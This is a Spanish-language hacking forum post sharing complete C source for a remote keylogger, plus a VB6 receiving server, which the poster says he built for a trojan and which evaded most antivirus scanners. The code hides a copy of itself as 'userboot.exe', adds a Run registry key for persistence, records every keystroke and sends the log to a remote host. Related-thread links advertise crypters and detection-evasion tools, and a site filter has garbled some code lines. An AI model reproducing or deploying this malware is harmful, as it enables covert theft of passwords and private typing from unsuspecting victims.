comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[C/C++][Source] Keylogger remoto con Hook sin DLL

  • 0 Respuestas
  • 1851 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« en: Julio 23, 2015, 02:46:13 am »
Hola!  ;D andaba jugando un poco con los thread, y el hook, se me ocurrio hacer un mini keylogger.
Para agregarle a un troyano que tengo casi terminado, que también tengo pensado postear.
Pero al final veo que me quedare con otro metodo que tengo.
este metodo lo analize y me dio 2/56 antivirus.
Este se autoagrega al registro, y crea un hook en teclado y mouse. funciona con un servidor que lo que hace es conectarse, recibir el logger, y cerrarse.
Tiene muchas cosas por mejorar, pero quizás a alguien le interese y le sirva, pues bien.
En fin su método para trabajar es así, captura todo tipo de tecla, cuando detecta una conexion del cliente (conexion inversa) envia el log, borra el antiguo y sigue esperando otra conexion.

Código: C
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <winsock2.h>
  4.  
  5. #ifndef port_number
  6.         #define port_number 100
  7. #endif
  8.  
  9. #ifndef host_name
  10.         #define host_name "127.0.0.1"
  11. #endif
  12.  
  13. void CALLBACK SendFile ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime );
  14. void CALLBACK Connect ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime );
  15. void CALLBACK InyectSystem ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime );
  16. LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam );
  17. DWORD WINAPI Inyect ( LPVOID lParam );
  18.  
  19. HHOOK hHook, MouseHook;
  20. MSG msg;
  21. DWORD thread, firstthread, dwBytes, threadconnect, cbSize = 256, SizeX, sendthread;
  22. HANDLE Thread, FirstThread, ThreadConnect, FileX, Mutex, SendThread;
  23.  
  24. LPSTR AppName, Directory, Buffer, BufferX;
  25.  
  26. FILE *keylog;
  27. char keylogger [ MAX_PATH + 1 ];
  28. HKEY key;
  29.  
  30. PPERF_DATA_BLOCK Data;
  31. WSADATA wsa;
  32. WORD wVersion;
  33. SOCKADDR_IN address;
  34. SOCKET sock;
  35. struct hostent * host;
  36.  
  37. void CALLBACK SendFile ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime )
  38. {
  39.  
  40.         FileX = CreateFile ( keylogger, GENERIC_READ, FILE_SHARE_READ, 0,
  41.                         OPEN_EXISTING, 0, 0 );
  42.  
  43.         if ( FileX == INVALID_HANDLE_VALUE )
  44.         {
  45.                 closesocket ( sock );
  46.                 WSACleanup ();
  47.  
  48.                 return;
  49.         }
  50.  
  51.         SizeX = GetFileSize ( FileX, 0 );
  52.         BufferX = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( SizeX + 1 ) );
  53.         ReadFile ( FileX, BufferX, SizeX, &dwBytes, 0 );
  54.         CloseHandle ( FileX );
  55.  
  56.         if ( send ( sock, BufferX, SizeX, 0 ) == SOCKET_ERROR )
  57.         {
  58.                 You are not allowed to view links. Register or Login ( "[ Error al enviar Log ]\n" );
  59.         }
  60.         else
  61.         {
  62.                 You are not allowed to view links. Register or Login ( "[ Exito al enviar log ]\n" );
  63.                 //Eliminamos el log ya enviado.
  64.                 DeleteFileA ( keylogger );
  65.         }
  66.  
  67.         closesocket ( sock );
  68.         WSACleanup ();
  69.  
  70.         return;
  71.  
  72. }
  73.  
  74. void CALLBACK Connect ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime )
  75. {
  76.        
  77.         wVersion = MAKEWORD ( 2, 2 );
  78.         ZeroMemory ( &address, sizeof ( SOCKADDR_IN ) );
  79.  
  80.         if ( WSAStartup ( wVersion, &wsa ) != NO_ERROR )
  81.         {
  82.                 You are not allowed to view links. Register or Login ( " [ Error al inicializar el winsock ] \n" );
  83.                 WSACleanup ();
  84.  
  85.                 return;
  86.         }
  87.  
  88.         sock = socket ( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  89.         if ( sock == INVALID_SOCKET )
  90.         {
  91.                 You are not allowed to view links. Register or Login ( " [ Error al intentar crear socket ] \n" );
  92.                 closesocket ( sock );
  93.                 WSACleanup ();
  94.  
  95.                 return;
  96.         }
  97.  
  98.         host = gethostbyname ( host_name );
  99.  
  100.         address.sin_family = AF_INET;
  101.         address.sin_addr = *( ( struct in_addr * ) host -> h_addr_list [ 0 ] );
  102.         address.sin_port = htons ( port_number );
  103.         You are not allowed to view links. Register or Login ( address.sin_zero, 0, 8 );
  104.  
  105.         if ( connect ( sock, ( SOCKADDR *)&address, sizeof ( SOCKADDR ) ) != 0 )
  106.         {
  107.                 You are not allowed to view links. Register or Login ( " [ Error al intentar conectar con el servidor ] \n" );
  108.                 closesocket ( sock );
  109.                 WSACleanup ();
  110.  
  111.                 return;
  112.         }
  113.  
  114.         You are not allowed to view links. Register or Login ( " [ Conexion establecida con el servidor ]\n" );
  115.  
  116.         SendThread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )SendFile, 0, 0, &sendthread );
  117.         if ( SendThread )
  118.         {
  119.                 WaitForSingleObject ( SendThread, 5000 );
  120.         }
  121.  
  122.         closesocket ( sock );
  123.         WSACleanup ();
  124.  
  125.         return;
  126.  
  127. }
  128.  
  129. void CALLBACK InyectSystem ( HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime )
  130. {
  131.  
  132.         ThreadConnect = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE ) Connect, 0, 0, &threadconnect );
  133.  
  134.         AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
  135.         GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
  136.  
  137.         Directory = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
  138.         GetEnvironmentVariableA ( "HomeDrive", Directory, MAX_PATH );
  139.  
  140.         CopyMemory ( & Directory [ lstrlenA ( Directory ) ], &"\\userboot.exe", lstrlenA ( "userboot.exe" ) + 1 );
  141.  
  142.         CopyFileA ( AppName, Directory, true );
  143.  
  144.         if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &key ) == ERROR_SUCCESS )
  145.         {
  146.                 Data = ( PPERF_DATA_BLOCK ) LocalAlloc ( ( 0x0000 | 0x0040 ), 256 );
  147.                 if ( RegQueryValueExA ( key, "Windows Boot", 0, 0, ( LPBYTE ) Data, &cbSize ) != ERROR_SUCCESS )
  148.                 {
  149.                         RegSetValueExA ( key, "Windows Boot", 0, REG_SZ, (const unsigned char*) Directory, ( BYTE ) lstrlenA ( Directory ) );
  150.                 }
  151.  
  152.                 SetFileAttributesA ( Directory, ( 0x1 | 0x2 | 0x4 ) );
  153.  
  154.                 GlobalFree ( Data );
  155.         }
  156.  
  157.         RegCloseKey ( key );
  158.  
  159.         GlobalFree ( AppName );
  160.         GlobalFree ( Directory );
  161.  
  162.         return;
  163.  
  164. }
  165.  
  166. LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam )
  167. {
  168.  
  169.         if ( lstrlenA ( keylogger ) <= 0 )
  170.         {
  171.                 wsprintfA ( keylogger, "%s\\logger.inf", You are not allowed to view links. Register or Login ( "windir" ) );
  172.         }
  173.  
  174.         Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE ) InyectSystem, 0, 0, &thread );
  175.        
  176.         if ( nCode < 0 )
  177.         {
  178.                 return CallNextHookEx ( hHook, nCode, wParam, lParam );
  179.         }
  180.                
  181.         if ( wParam == WM_KEYDOWN )
  182.         {
  183.                 PKBDLLHOOKSTRUCT teclado = ( PKBDLLHOOKSTRUCT ) lParam;
  184.                
  185.                 keylog = You are not allowed to view links. Register or Login ( keylogger, "a+" );
  186.  
  187.                 switch ( teclado -> vkCode )
  188.                 {
  189.  
  190.                         case 13:
  191.                                 You are not allowed to view links. Register or Login ( keylog, "\n" );
  192.                         break;
  193.  
  194.                         case VK_NUMPAD0:
  195.                                 You are not allowed to view links. Register or Login ( keylog, "0" );
  196.                         break;
  197.  
  198.                         case VK_NUMPAD1:
  199.                                 You are not allowed to view links. Register or Login ( keylog, "1" );
  200.                         break;
  201.  
  202.                         case VK_NUMPAD2:
  203.                                 You are not allowed to view links. Register or Login ( keylog, "2" );
  204.                         break;
  205.  
  206.                         case VK_NUMPAD3:
  207.                                 You are not allowed to view links. Register or Login ( keylog, "3" );
  208.                         break;
  209.  
  210.                         case VK_NUMPAD4:
  211.                                 You are not allowed to view links. Register or Login ( keylog, "4" );
  212.                         break;
  213.  
  214.                         case VK_NUMPAD5:
  215.                                 You are not allowed to view links. Register or Login ( keylog, "5" );
  216.                         break;
  217.  
  218.                         case VK_NUMPAD6:
  219.                                 You are not allowed to view links. Register or Login ( keylog, "6" );
  220.                         break;
  221.  
  222.                         case VK_NUMPAD7:
  223.                                 You are not allowed to view links. Register or Login ( keylog, "7" );
  224.                         break;
  225.  
  226.                         case VK_NUMPAD8:
  227.                                 You are not allowed to view links. Register or Login ( keylog, "8" );
  228.                         break;
  229.  
  230.                         case VK_NUMPAD9:
  231.                                 You are not allowed to view links. Register or Login ( keylog, "9" );
  232.                         break;
  233.  
  234.                         case VK_ESCAPE:
  235.                                 You are not allowed to view links. Register or Login ( keylog, " [ ESC ]" );
  236.                         break;
  237.  
  238.                         default:
  239.                                 You are not allowed to view links. Register or Login ( keylog, "%c", teclado -> vkCode );
  240.                 }
  241.                        
  242.                 You are not allowed to view links. Register or Login ( teclado );
  243.  
  244.                 You are not allowed to view links. Register or Login ( keylog );
  245.         }
  246.  
  247.         return CallNextHookEx ( hHook, nCode, wParam, lParam );
  248. }
  249.  
  250. DWORD WINAPI Inyect ( LPVOID lParam )
  251. {
  252.  
  253.         if ( GetLastError () == ERROR_ALREADY_EXISTS )
  254.         {
  255.                 ExitProcess ( 0 );
  256.         }
  257.  
  258.         hHook = SetWindowsHookEx ( WH_KEYBOARD_LL , (HOOKPROC) Keyboard, GetModuleHandleA ( 0L ), 0L );
  259.         MouseHook = SetWindowsHookEx ( WH_MOUSE_LL, (HOOKPROC) Keyboard, GetModuleHandleA ( 0L ), 0L );
  260.  
  261.         while ( ! GetMessage ( & msg, 0, 0, 0 ) )
  262.         {
  263.                 Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE ) InyectSystem, 0, 0, &thread );
  264.                
  265.                 TranslateMessage ( &msg );
  266.                 DispatchMessage ( &msg );
  267.         }
  268.        
  269.         UnhookWindowsHookEx ( hHook );
  270.         UnhookWindowsHookEx ( MouseHook );
  271.  
  272.         return 0;
  273.  
  274. }
  275.  
  276. int APIENTRY WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  277.                 LPSTR lpszArgument, int nCmdFustil )
  278. {
  279.  
  280.         Mutex = CreateMutexA ( 0, 0, "JOKER" );
  281.  
  282.         FirstThread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Inyect, 0, 0, &firstthread );
  283.  
  284.         if ( FirstThread )
  285.         {
  286.                 WaitForSingleObject ( FirstThread, INFINITE );
  287.         }
  288.  
  289.         ReleaseMutex ( Mutex );
  290.         CloseHandle ( Mutex );
  291.         CloseHandle ( FirstThread );
  292.  
  293.         return EXIT_SUCCESS;
  294. }
  295.  
  296.  

Y el del servidor es simple, en VB6 crean un control winsock con el nombre Winsock1 y su codigo.

Código: Visual Basic
  1. Private Sub Form_Load()
  2. Winsock1.Listen
  3. End Sub
  4.  
  5. Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
  6. If Winsock1.State <> 0 Then
  7.     Winsock1.Close
  8. End If
  9.  
  10. Winsock1.Accept requestID
  11. End Sub
  12.  
  13. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  14. Dim Data As String
  15. Winsock1.GetData Data
  16.  
  17. Open App.Path & "\keylogger.txt" For Append As #1
  18. Print #1, Data
  19. Close #1
  20.  
  21. End
  22. End Sub
  23.  
  24. Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
  25. End
  26. End Sub
  27.  
  28.  

Es todo, espero les guste, y se aceptan criticas.
« Última modificación: Julio 23, 2015, 10:59:58 am por Expermicid »
El arte de crear malware, es algo que solo pocos entienden!


 

¿Te gustó el post? COMPARTILO!



Como modear desde source y cambiar recurso crypter Por decoder79

Iniciado por decoder79

Respuestas: 2
Vistas: 2327
Último mensaje Noviembre 28, 2012, 12:39:54 am
por s1s
Quieres aprender a modear desde source? Por DecoDer79

Iniciado por decoder79

Respuestas: 4
Vistas: 2374
Último mensaje Noviembre 27, 2012, 09:17:09 pm
por s1s
curso modding desde source. introduccion e indeteccion!

Iniciado por ELBARTOkpc

Respuestas: 4
Vistas: 2992
Último mensaje Junio 14, 2017, 09:39:41 am
por Kyr0s
[SRC] Unique Stub Generator + Source Undetector

Iniciado por The Punisher

Respuestas: 1
Vistas: 4495
Último mensaje Mayo 10, 2010, 12:38:25 pm
por H4ZIR
Source Undetector New Release By carb0n [SRC]

Iniciado por The Punisher

Respuestas: 2
Vistas: 1455
Último mensaje Mayo 10, 2010, 12:36:31 pm
por H4ZIR